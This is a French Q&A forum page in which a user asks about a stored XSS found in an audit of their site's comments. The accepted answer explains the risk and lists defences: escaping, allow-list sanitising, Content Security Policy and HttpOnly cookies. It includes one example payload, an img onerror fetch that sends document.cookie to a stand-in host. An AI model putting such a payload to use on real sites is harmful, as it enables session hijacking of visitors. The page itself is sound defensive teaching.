Qu'est-ce qu'une faille XSS et comment m'en protéger ?

posée 4 months ago464 vuesfr

5

Un audit a trouvé une « XSS stockée » dans les commentaires de notre site. Je ne comprends pas bien le risque ni la correction.

Diagnostic IA

Généré par IA. Ce n'est pas une réponse — la communauté ci-dessous le confirme ou le corrige. Vérifiez toujours avant de vous y fier.

posée 4 months ago

1 réponse

8
✓
✓ Réponse acceptée

Une XSS (*cross-site scripting*), c'est quand un attaquant arrive à faire exécuter son JavaScript dans le navigateur d'autres utilisateurs, sur ton site. « Stockée » : le script est enregistré (dans un commentaire, par exemple) et s'exécute chez chaque visiteur qui l'affiche. Il agit alors en leur nom : actions, lecture de données, faux formulaires.

Exemple de commentaire malveillant :

<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">

Protections : 1. Échapper à l'affichage : les frameworks (React, Vue, les templates Blade/Jinja) échappent par défaut. La faille vient presque toujours d'un contournement : dangerouslySetInnerHTML, v-html, {!! !!}, innerHTML. 2. Si tu dois afficher du HTML (Markdown rendu, éditeur riche) : assainis-le côté serveur avec une liste blanche (DOMPurify, sanitize-html, bleach). 3. Content Security Policy : interdit les scripts inline et les domaines inconnus. C'est une défense en profondeur si une faille passe. 4. Cookies HttpOnly, pour que le script ne puisse pas lire la session.

Corrige la faille, puis cherche dans tout le code les autres usages de innerHTML et de ses équivalents.

Connectez-vous pour dire si ça a marché.

answered 4 months ago

Sign in and verify your email to post an answer.